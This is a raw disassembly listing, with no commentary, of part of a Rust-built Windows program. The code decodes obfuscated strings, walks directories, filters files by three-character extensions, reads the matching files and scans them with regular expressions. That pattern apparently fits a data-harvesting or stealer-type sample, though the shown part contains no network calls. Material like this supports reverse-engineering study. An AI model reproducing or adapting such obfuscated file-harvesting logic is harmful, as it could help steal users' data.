mov rax, qword [rsp + 0xbe0]
movabs rcx, 0x8000000000000000
add rcx, 4
lea rdx, [rsp + 0xbe0]
cmp rax, rcx
jge 0x140068cf8
jmp 0x140068d0f
lea rcx, [rsp + 0xbd8]
jmp 0x140068cdc
lea rcx, [rsp + 0xbd0]
xor r8d, r8d
movabs rdx, 0x8000000000000000
cmp rax, rdx
sete r8b
lea rdx, [rcx + r8*8]
mov rax, qword [rcx + r8*8]
test rax, rax
je 0x140068d0f
mov r8, qword [rdx + 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
xor esi, esi
mov r8, qword [rsp + 0x4f0]
movzx eax, byte [rsp + 0x138]
cmp al, 3
je 0x140068d54
cmp al, 2
je 0x140068d54
mov rax, qword [rsp + 0x120]
lock dec qword [rax]
jne 0x140068d54
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
call sym.alloc::sync::Arc_T_A_::drop_slow::h0fe0c8fb876e5262
mov r8, qword [rsp + 0x4f0]
cmp qword [r8], 0
je 0x140068d74
mov r8, qword [r8 + 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov r8, qword [rsp + 0x4f0]
cmp qword [rsp + 0x11d8], 0
je 0x140068d8d
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp byte [rsp + 0x65], 2
je 0x140068db1
mov rax, qword [rsp + 0x40]
lock dec qword [rax]
jne 0x140068db1
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x578]
call sym.alloc::sync::Arc_T_A_::drop_slow::h0fe0c8fb876e5262
test rsi, rsi
je 0x14006ea19
add r12, qword [rsp + 0x840]
mov qword [rsp + 0x520], rsi
mov qword [rsp + 0x528], r14
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x530], rax
mov qword [rsp + 0x538], rdi
mov rbx, qword [r12 - 0x10]
mov rsi, qword [r12 - 8]
lea rax, [0x1403b2540]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x6bc676b2
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h3a2bc5abb7c0c420
mov eax, dword [rax]
mov ecx, 0x5707e6d3
xor eax, ecx
mov dword [rsp + 0x1240], eax
cmp rsi, 4
mov qword [rsp + 0x38], rsi
jbe 0x140068eb5
mov r10, rsi
mov ecx, eax
shr ecx, 0x18
mov ebp, 3
cmp cl, al
jne 0x14006a291
mov ecx, eax
shr ecx, 0x10
cmp cl, al
jne 0x14006a15f
mov ecx, eax
shr ecx, 8
cmp cl, al
jne 0x14006a28c
mov qword [rsp + 0x20], 4
mov rcx, r15
mov rdx, rbx
mov r8, r10
lea r9, [rsp + 0x1240]
call sym.core::str::pattern::StrSearcher::new::hb79a64ca6e6dd1a0
lea rcx, [rsp + 0xbd0]
mov rdx, r15
call sym.__core::str::pattern::StrSearcher_as_core::str::pattern::Searcher_::next_match::h90e5d7bbf4ef57b1
movzx eax, byte [rsp + 0xbd0]
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140069092
jmp 0x140068ed7
jne 0x140069080
mov eax, dword [rsp + 0x1240]
cmp eax, dword [rbx]
sete al
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140069092
lea rax, [0x1403bbab7]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xea35cf3e
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h0f07e438cf67fff9
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x1404a5170]
mov edx, 3
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006ea65
mov rdx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
shr eax, 0x10
xor al, 0x53
mov ecx, esi
shr ecx, 8
xor cl, 0xdd
xor sil, 0x9a
movzx eax, al
mov byte [rdx + 2], al
shl eax, 0x10
movzx ecx, cl
shl ecx, 8
or ecx, eax
movzx eax, sil
or eax, ecx
mov qword [rsp + 0x90], rdx
mov word [rdx], ax
lea rax, [0x1403bba49]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x47e65eeb
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h5adc4ce49782db23
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x1404a5170]
mov edx, 3
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006ea65
mov rdx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
shr eax, 0x10
xor al, 6
mov ecx, esi
shr ecx, 8
xor cl, 0x1b
xor sil, 0xc7
movzx eax, al
mov byte [rdx + 2], al
shl eax, 0x10
movzx ecx, cl
shl ecx, 8
or ecx, eax
movzx eax, sil
or eax, ecx
mov qword [rsp + 0x4f0], rdx
mov word [rdx], ax
mov rcx, r15
mov rdx, rbx
mov rsi, qword [rsp + 0x38]
mov r8, rsi
call sym.std::sys::pal::windows::fs::stat::hb4d86dbde420c37b
cmp dword [rsp + 0xd0], 2
jne 0x14006952b
mov rbx, qword [rsp + 0xd8]
mov eax, ebx
and eax, 3
mov esi, 1
cmp eax, 1
jne 0x140069077
mov r14, qword [rbx - 1]
mov rdi, qword [rbx + 7]
mov rax, qword [rdi]
test rax, rax
je 0x140069040
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x140069063
cmp qword [rdi + 0x10], 0x11
jb 0x140069052
mov r14, qword [r14 - 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, r14
call fcn.14021a7bc
dec rbx
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
xor ebx, ebx
xor edi, edi
jmp 0x1400696ad
xor eax, eax
mov qword [rsp + 0x11b8], rdi
test al, al
je 0x140068ed7
mov qword [rsp + 0x78], rbx
mov rbx, qword [r12 - 0x28]
mov rsi, qword [r12 - 0x20]
mov qword [rsp + 0x1240], 0
mov qword [rsp + 0x1248], 1
mov qword [rsp + 0x1250], 0
mov qword [rsp + 0x20], 1
mov rcx, r15
mov rdx, rbx
mov r8, rsi
lea r9, [0x14043a87e]
call sym.core::str::pattern::StrSearcher::new::hb79a64ca6e6dd1a0
mov edi, 1
xor r14d, r14d
xor r15d, r15d
jmp 0x140069110
add r15, rbx
lea rcx, [rdi + r14]
mov rdx, r15
mov r8, r12
call sym.memcpy
add r14, r12
mov qword [rsp + 0x1250], r14
mov r15, rbp
lea rcx, [rsp + 0xbd0]
lea rdx, [rsp + 0xd0]
call sym.__core::str::pattern::StrSearcher_as_core::str::pattern::Searcher_::next_match::h90e5d7bbf4ef57b1
cmp qword [rsp + 0xbd0], 0
je 0x14006917b
mov r12, qword [rsp + 0xbd8]
mov rbp, qword [rsp + 0xbe0]
sub r12, r15
mov rax, qword [rsp + 0x1240]
sub rax, r14
cmp rax, r12
jae 0x1400690f0
lea rcx, [rsp + 0x1240]
mov rdx, r14
mov r8, r12
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdi, qword [rsp + 0x1248]
mov r14, qword [rsp + 0x1250]
jmp 0x1400690f0
sub rsi, r15
mov rax, qword [rsp + 0x1240]
sub rax, r14
cmp rax, rsi
jb 0x14006adf1
add rbx, r15
mov rcx, qword [rsp + 0x1248]
add rcx, r14
mov rdx, rbx
mov r8, rsi
call sym.memcpy
add r14, rsi
mov qword [rsp + 0x5f0], r14
movdqu xmm0, xmmword [rsp + 0x1240]
movdqa xmmword [rsp + 0x5e0], xmm0
lea rax, [0x1403b5614]
mov qword [rsp + 0xd0], rax
lea r15, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xdc71e95c
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h50b35d8504c66dc5
mov rbx, qword [rax]
movzx edi, word [rax + 8]
movzx ebp, byte [rax + 0xa]
movzx eax, byte [0x1404a5170]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e742
mov rsi, rax
shl ebp, 0x10
or edi, ebp
mov eax, edi
shr eax, 0x10
xor al, 0xdf
mov ecx, edi
shr ecx, 8
xor cl, 0xe4
xor dil, 0x34
movabs rdx, 0x2841bd4080496351
xor rbx, rdx
mov qword [rsi], rbx
mov byte [rsi + 8], dil
mov byte [rsi + 9], cl
mov byte [rsi + 0xa], al
mov qword [rsp + 0x900], rsi
mov qword [rsp + 0x908], 0xb
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0xd0], rax
lea rcx, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0xd8], rcx
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xe0], rax
lea rax, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x900]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rcx
lea rax, [0x1403bd230]
mov qword [rsp + 0xbd0], rax
mov qword [rsp + 0xbd8], 3
mov qword [rsp + 0xbf0], 0
mov qword [rsp + 0xbe0], r15
mov qword [rsp + 0xbe8], 3
lea rcx, [rsp + 0x1240]
lea rdx, [rsp + 0xbd0]
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rsi
call fcn.14021a7bc
cmp qword [rsp + 0x5e0], 0
je 0x140069346
mov r8, qword [rsp + 0x5e8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rax, qword [rsp + 0x1240]
mov qword [rsp + 0x838], rax
mov rdi, qword [rsp + 0x1248]
mov rsi, qword [rsp + 0x1250]
mov qword [rsp + 0x558], 0
mov qword [rsp + 0x560], 1
mov qword [rsp + 0x568], 0
mov rcx, r15
mov rdx, rdi
mov r8, rsi
call sym.std::sys::pal::windows::fs::stat::hb4d86dbde420c37b
cmp dword [rsp + 0xd0], 2
mov qword [rsp + 0x830], rdi
jne 0x140069404
mov rbx, qword [rsp + 0xd8]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x14006ccaf
mov rsi, qword [rbx - 1]
mov rdi, qword [rbx + 7]
mov rax, qword [rdi]
test rax, rax
je 0x1400693d5
mov rcx, rsi
call rax
dec rbx
cmp qword [rdi + 8], 0
je 0x14006cc9e
cmp qword [rdi + 0x10], 0x11
jb 0x1400693ee
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rsi
call fcn.14021a7bc
jmp 0x14006cc9e
mov dword [rsp + 0xd0], 0
lea rax, [rsp + 0xd8]
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov dword [rsp + 0xe8], 7
mov word [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov byte [rsp + 0xf0], 1
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call sym.std::sys::pal::windows::fs::File::open::h3a6cfbd342f96e23
mov rsi, rdx
test rax, rax
jne 0x14006ea81
movzx eax, byte [0x1404a5170]
mov edx, 0x2000
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e8f8
mov qword [rsp + 0xbd0], rax
mov qword [rsp + 0xbd8], 0x2000
lea rax, [rsp + 0xbf8]
pxor xmm0, xmm0
movdqu xmmword [rax - 0x18], xmm0
mov qword [rax - 8], 0
mov qword [rsp + 0xbf8], rsi
mov rcx, r15
lea rdx, [rsp + 0xbd0]
call sym.__std::io::Lines_B__as_core::iter::traits::iterator::Iterator_::next::hc562ca18f47645a4
mov r14, qword [rsp + 0xd0]
movabs rax, 0x8000000000000000
lea rdi, [rax + 1]
cmp r14, rdi
jne 0x14006a0e9
mov rbp, rax
cmp qword [rsp + 0xbd8], 0
je 0x1400694fe
mov r8, qword [rsp + 0xbd0]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rcx, qword [rsp + 0xbf8]
call sub.kernel32.dll_CloseHandle
mov eax, 8
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x70], rax
xor eax, eax
mov qword [rsp + 0xa8], rax
jmp 0x14006aef8
mov qword [rsp + 0x4b8], 0
mov qword [rsp + 0x4c0], 1
mov qword [rsp + 0x4c8], 0
mov rcx, r15
mov rdx, rbx
mov r8, rsi
call sym.std::sys::pal::windows::fs::readdir::h2e225321c811929d
mov edi, dword [rsp + 0xe0]
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x40], rax
cmp edi, 2
je 0x14006eb5a
mov rsi, qword [rsp + 0xd8]
lea rax, [rsp + 0xd8]
movups xmm0, xmmword [rax + 0xc]
movups xmm1, xmmword [rax + 0x1c]
movdqu xmm2, xmmword [rax + 0x28]
movaps xmmword [rsp + 0x1240], xmm0
movaps xmmword [rsp + 0x1250], xmm1
movdqu xmmword [rsp + 0x125c], xmm2
movzx ebp, word [rsp + 0x110]
movzx r14d, word [rsp + 0x112]
movzx r12d, word [rsp + 0x114]
mov r8d, 0x21e
lea rbx, [rsp + 0xbd0]
mov rcx, rbx
lea rdx, [rsp + 0x116]
call sym.memcpy
movaps xmm0, xmmword [rsp + 0x1240]
movdqa xmm1, xmmword [rsp + 0x1250]
movaps xmmword [rsp + 0xf90], xmm0
movdqa xmmword [rsp + 0xfa0], xmm1
movdqu xmm0, xmmword [rsp + 0x125c]
movdqu xmmword [rsp + 0xfac], xmm0
mov r8d, 0x21e
lea rcx, [rsp + 0x5e0]
mov rdx, rbx
call sym.memcpy
mov rax, qword [rsp + 0x528]
mov qword [rsp + 0x48], rax
mov word [rsp + 0x58], bp
cmp bp, 0x2e
sete al
test r14w, r14w
sete cl
mov dword [rsp + 0xb0], r14d
mov edx, r14d
xor edx, 0x2e
mov word [rsp + 0x500], r12w
or dx, r12w
sete bpl
or bpl, cl
and bpl, al
cmp rsi, 0xffffffffffffffff
jne 0x1400696e8
mov rcx, rsi
call sub.kernel32.dll_FindClose
mov rcx, qword [rsp + 0x40]
lock dec qword [rcx]
jne 0x140069695
call sym.alloc::sync::Arc_T_A_::drop_slow::h8a2432289c9eaed9
mov rdi, qword [rsp + 0x4b8]
mov rsi, qword [rsp + 0x4c0]
mov rbx, qword [rsp + 0x4c8]
mov r8, qword [rsp + 0x90]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, qword [rsp + 0x4f0]
jmp 0x14006cce3
xor edi, edi
cmp rsi, 0xffffffffffffffff
je 0x14006967d
cmp edi, 1
setne al
or al, bpl
je 0x14006982f
mov r8d, 0x250
lea rdi, [rsp + 0xbd0]
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, rsi
mov rdx, rdi
call sub.kernel32.dll_FindNextFileW
test eax, eax
mov rdi, qword [rsp + 0x40]
jne 0x140069774
call sub.kernel32.dll_GetLastError
cmp eax, 0x12
je 0x14006967d
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0xd8], 0
mov ecx, 0x10
jmp 0x1400697ca
mov rcx, rsi
lea rdx, [rsp + 0xbd0]
call sub.kernel32.dll_FindNextFileW
test eax, eax
je 0x140069723
cmp word [rsp + 0xbfc], 0x2e
jne 0x14006979d
movzx eax, word [rsp + 0xbfe]
test ax, ax
je 0x140069760
cmp ax, 0x2e
jne 0x14006979d
cmp word [rsp + 0xc00], 0
je 0x140069760
lock inc qword [rdi]
jle 0x14006e8f6
mov r8d, 0x250
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0xbd0]
call sym.memcpy
mov ecx, 8
mov rax, rdi
mov qword [rsp + rcx + 0xd0], rax
mov rdi, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0xe0]
mov r8d, 0x248
test rdi, rdi
je 0x14006a020
lea r14, [rsp + 0xbd0]
mov rcx, r14
lea rdx, [rsp + 0xe8]
call sym.memcpy
mov r8d, 0x248
lea r12, [rsp + 0x1240]
mov rcx, r12
mov rdx, r14
call sym.memcpy
lea r14, [rsp + 0xe0]
jmp 0x14006991e
mov rbx, rsi
mov rsi, r15
mov r15d, ebp
mov rbp, qword [rsp + 0x40]
lock inc qword [rbp]
jle 0x14006e8f6
movups xmm0, xmmword [rsp + 0xfac]
lea r14, [rsp + 0xe0]
movups xmmword [r14 + 0x1c], xmm0
movdqa xmm0, xmmword [rsp + 0xf90]
movdqa xmm1, xmmword [rsp + 0xfa0]
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14], xmm0
mov r8d, 0x21e
lea rcx, [rsp + 0x112]
lea rdx, [rsp + 0x5e0]
call sym.memcpy
mov qword [rsp + 0xd8], rbp
movzx eax, word [rsp + 0x58]
mov word [rsp + 0x10c], ax
mov eax, dword [rsp + 0xb0]
mov word [rsp + 0x10e], ax
movzx eax, word [rsp + 0x500]
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x38], rax
mov r8d, 0x248
lea rdi, [rsp + 0xbd0]
mov rcx, rdi
lea rdx, [rsp + 0xe8]
call sym.memcpy
mov r8d, 0x248
lea r12, [rsp + 0x1240]
mov rcx, r12
mov rdx, rdi
call sym.memcpy
mov rdi, rbp
mov ebp, r15d
mov r15, rsi
mov rsi, rbx
mov rbx, qword [rsp + 0x38]
mov qword [rsp + 0xd8], rbx
mov r8d, 0x248
mov rcx, r14
mov rdx, r12
call sym.memcpy
mov qword [rsp + 0xd0], rdi
lea rcx, [rsp + 0x900]
mov rdx, r15
call sym.std::fs::DirEntry::path::h0eb70cc698f9e00b
mov rcx, qword [rsp + 0x908]
mov rdx, qword [rsp + 0x910]
call sym.std::path::Path::file_name::h2aee4f392a94eebc
test rax, rax
je 0x140069a40
mov r8, rdx
cmp rdx, 2
jne 0x140069985
movzx ecx, word [rax]
cmp ecx, 0x2e2e
je 0x140069a40
mov rdx, r8
nop dword [rax + rax]
test rdx, rdx
je 0x140069a40
mov rcx, rdx
dec rdx
cmp byte [rax + rcx - 1], 0x2e
jne 0x140069990
test rdx, rdx
je 0x140069a40
sub r8, rcx
add rax, rcx
lea rcx, [rsp + 0x15d0]
mov rdx, rax
call sym.core::str::converts::from_utf8::h7e3ffe505e8498fd
cmp qword [rsp + 0x15d0], 0
jne 0x140069a40
mov rax, qword [rsp + 0x15e0]
cmp rax, 3
jb 0x140069a40
mov rcx, qword [rsp + 0x15d8]
mov r8, qword [rsp + 0x90]
movzx edx, word [r8]
xor dx, word [rcx + rax - 3]
movzx r8d, byte [r8 + 2]
xor r8b, byte [rcx + rax - 1]
movzx r8d, r8b
or r8w, dx
je 0x14006a0b2
mov r8, qword [rsp + 0x4f0]
movzx edx, word [r8]
xor dx, word [rcx + rax - 3]
movzx r8d, byte [r8 + 2]
xor r8b, byte [rcx + rax - 1]
movzx eax, r8b
or ax, dx
je 0x14006a0b2
nop word [rax + rax]
mov rax, qword [rsp + 0xd0]
lock dec qword [rax]
jne 0x140069a5b
mov rcx, qword [rsp + 0xd0]
call sym.alloc::sync::Arc_T_A_::drop_slow::h8a2432289c9eaed9
xor edi, edi
cmp qword [rsp + 0x900], 0
je 0x140069a7e
mov r8, qword [rsp + 0x908]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
test rdi, rdi
je 0x1400696e0
mov r8d, 0x250
lea rcx, [rsp + 0xd8]
lea rdx, [rsp + 0xbd0]
call sym.memcpy
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0x5b8], 0
mov qword [rsp + 0x5c0], 1
mov qword [rsp + 0x5c8], 0
lea rcx, [rsp + 0x14a0]
mov rdx, r15
call sym.std::fs::DirEntry::path::h0eb70cc698f9e00b
mov dword [rsp + 0x15d0], 0
lea rax, [rsp + 0x16c0]
pxor xmm0, xmm0
movdqu xmmword [rax - 0xe8], xmm0
mov dword [rsp + 0x15e8], 7
mov word [rax - 0xcc], 0
mov qword [rax - 0xd4], 0
mov byte [rsp + 0x15f0], 1
mov r14, qword [rsp + 0x14a8]
mov rdx, qword [rsp + 0x14b0]
mov rcx, r14
lea r8, [rsp + 0x15d0]
call sym.std::sys::pal::windows::fs::File::open::h3a6cfbd342f96e23
mov r15, rax
mov rbx, rdx
cmp qword [rsp + 0x14a0], 0
je 0x140069b66
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, r14
call fcn.14021a7bc
test r15, r15
jne 0x14006e95b
movzx eax, byte [0x1404a5170]
mov edx, 0x2000
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
lea r15, [rsp + 0xd0]
movabs r14, 0x8000000000000000
je 0x14006e8f8
mov qword [rsp + 0x900], rax
mov qword [rsp + 0x908], 0x2000
pxor xmm0, xmm0
lea rax, [rsp + 0x908]
movdqu xmmword [rax + 8], xmm0
mov qword [rax + 0x18], 0
mov qword [rsp + 0x928], rbx
lea rcx, [rsp + 0x900]
lea rdx, [rsp + 0x5b8]
call sym.__std::io::buffered::bufreader::BufReader_R__as_std::io::Read_::read_to_end::ha10e40c729ca3d00
test rax, rax
jne 0x14006e96c
cmp qword [rsp + 0x908], 0
je 0x140069c11
mov r8, qword [rsp + 0x900]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rcx, qword [rsp + 0x928]
call sub.kernel32.dll_CloseHandle
mov rdx, qword [rsp + 0x5c0]
mov r8, qword [rsp + 0x5c8]
lea rcx, [rsp + 0x4d0]
call sym.alloc::string::String::from_utf8_lossy::h6947609bf450b8a2
mov rbx, qword [rsp + 0x4d8]
mov rdi, qword [rsp + 0x4e0]
call sym.regex_automata::util::pool::inner::THREAD_ID::__u7b__u7b_closure_u7d__u7d_::h5b2a9fdcaab54447
test rax, rax
je 0x14006e7a3
lea rcx, [rsp + 0x1240]
lea rdx, [rsp + 0xbd0]
call sym.memcpy
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x1400696e0
mov r14, qword [rbx - 1]
mov rdi, qword [rbx + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14006a058
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x14006a07b
cmp qword [rdi + 0x10], 0x11
jb 0x14006a06a
mov r14, qword [r14 - 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, r14
call fcn.14021a7bc
dec rbx
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
xor edi, edi
cmp rsi, 0xffffffffffffffff
jne 0x1400696e8
jmp 0x14006967d
mov rdi, qword [rsp + 0xd0]
mov r8d, 0x250
lea rcx, [rsp + 0xbd0]
lea rdx, [rsp + 0xd8]
call sym.memcpy
cmp qword [rsp + 0x900], 0
jne 0x140069a68
jmp 0x140069a7e
mov rsi, qword [rsp + 0xd8]
cmp r14, rax
jne 0x14006a169
mov eax, esi
and eax, 3
cmp eax, 1
movabs rbp, 0x8000000000000000
jne 0x1400694dd
mov rbx, qword [rsi - 1]
mov rdi, qword [rsi + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14006a123
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14006a146
cmp qword [rdi + 0x10], 0x11
jb 0x14006a135
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
dec rsi
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rsi
call fcn.14021a7bc
jmp 0x1400694dd
mov ebp, 2
jmp 0x14006a291
mov r15, qword [rsp + 0xe0]
movzx eax, byte [0x1404a5170]
mov edx, 0x60
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006ec18
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r15
mov qword [rsp + 0x5e0], 4
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x5f0], 1
movdqu xmm0, xmmword [rsp + 0xbd0]
movdqu xmm1, xmmword [rsp + 0xbe0]
movdqu xmm2, xmmword [rsp + 0xbf0]
movdqa xmmword [rsp + 0xf0], xmm2
movdqa xmmword [rsp + 0xe0], xmm1
movdqa xmmword [rsp + 0xd0], xmm0
mov r14d, 1
mov r15d, 0x28
jmp 0x14006a21c
mov qword [rbx + r15 - 0x10], r12
mov qword [rbx + r15 - 8], rsi
mov qword [rbx + r15], rbp
inc r14
mov qword [rsp + 0x5f0], r14
add r15, 0x18
lea rcx, [rsp + 0x1240]
lea rdx, [rsp + 0xd0]
call sym.__std::io::Lines_B__as_core::iter::traits::iterator::Iterator_::next::hc562ca18f47645a4
mov r12, qword [rsp + 0x1240]
cmp r12, rdi
je 0x14006a5b9
mov rsi, qword [rsp + 0x1248]
movabs rax, 0x8000000000000000
cmp r12, rax
je 0x14006a5cd
mov rbp, qword [rsp + 0x1250]
cmp r14, qword [rsp + 0x5e0]
jne 0x14006a1ff
lea rcx, [rsp + 0x5e0]
mov rdx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h81a7c94db521dd98
mov rbx, qword [rsp + 0x5e8]
jmp 0x14006a1ff
mov ebp, 1
cmp r10, 0x12
ja 0x14006a2d9
mov rax, rbx
nop word [rax + rax]
mov rcx, r10
cmp r10, 4
jb 0x14006a2bd
lea r10, [rcx - 1]
mov r8d, dword [rax]
inc rax
cmp r8d, dword [rsp + 0x1240]
jne 0x14006a2a0
cmp rcx, 4
setae al
mov qword [rsp + 0x11b8], rdi
test al, al
jne 0x140069092
jmp 0x140068ed7
movzx eax, al
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm13, xmm0, 0
movzx eax, cl
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm14, xmm0, 0
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], r10
lea rax, [rsp + 0x1241]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 3
cmp r10, 0x44
mov qword [rsp + 0x78], rbx
jb 0x14006a4d8
lea r15, [rbx + 0x30]
lea rsi, [rbx + rbp]
add rsi, 0x30
xor eax, eax
xor ebx, ebx
movdqu xmm0, xmmword [r15 + rbx - 0x30]
movdqu xmm10, xmmword [r15 + rbx - 0x20]
movdqu xmm8, xmmword [r15 + rbx - 0x10]
movdqu xmm6, xmmword [r15 + rbx]
pcmpeqb xmm0, xmm13
movdqu xmm1, xmmword [rsi + rbx - 0x30]
movdqu xmm11, xmmword [rsi + rbx - 0x20]
movdqu xmm9, xmmword [rsi + rbx - 0x10]
movdqu xmm7, xmmword [rsi + rbx]
pcmpeqb xmm1, xmm14
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x14006a420
pcmpeqb xmm10, xmm13
pcmpeqb xmm11, xmm14
pand xmm11, xmm10
pmovmskb r8d, xmm11
test r8w, r8w
jne 0x14006a449
pcmpeqb xmm8, xmm13
pcmpeqb xmm9, xmm14
pand xmm9, xmm8
pmovmskb r8d, xmm9
test r8w, r8w
jne 0x14006a473
pcmpeqb xmm6, xmm13
pcmpeqb xmm7, xmm14
pand xmm7, xmm6
pmovmskb r8d, xmm7
test r8w, r8w
jne 0x14006a49d
lea r14, [rbx + 0x40]
add rbx, 0x83
cmp rbx, r10
jae 0x14006a4dd
mov ecx, eax
mov rbx, r14
and cl, 1
je 0x14006a350
jmp 0x14006a4dd
mov r9d, eax
and r9b, 1
mov r14, rax
lea rcx, [rsp + 0xd0]
mov rdx, rbx
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x38]
or al, r14b
and al, 1
jmp 0x14006a3a0
lea rdx, [rbx + 0x10]
mov r9d, eax
and r9b, 1
mov r14, rax
lea rcx, [rsp + 0xd0]
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x38]
or al, r14b
and al, 1
jmp 0x14006a3be
lea rdx, [rbx + 0x20]
mov r9d, eax
and r9b, 1
mov r14, rax
lea rcx, [rsp + 0xd0]
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x38]
or al, r14b
and al, 1
jmp 0x14006a3dc
lea rdx, [rbx + 0x30]
mov r9d, eax
and r9b, 1
mov r14, rax
lea rcx, [rsp + 0xd0]
call sym.core::str::pattern::simd_contains::__u7b__u7b_closure_u7d__u7d_::h77177be5078d6ea5
mov r10, qword [rsp + 0x38]
or al, r14b
and al, 1
lea r14, [rbx + 0x40]
add rbx, 0x83
cmp rbx, r10
jb 0x14006a40d
jmp 0x14006a4dd
xor r14d, r14d
xor eax, eax
lea rcx, [r14 + 0x13]
mov r9d, eax
and r9b, 1
cmp rcx, r10
jae 0x14006a564
test r9b, r9b
lea r15, [rsp + 0xd0]
mov rbx, qword [rsp + 0x78]
jne 0x14006a571
lea rsi, [rbx + rbp]
nop word cs:[rax + rax]
movdqu xmm0, xmmword [rbx + r14]
movdqu xmm1, xmmword [rsi + r14]
pcmpeqb xmm0, xmm13
pcmpeqb xmm1, xmm14
pand xmm1, xmm0
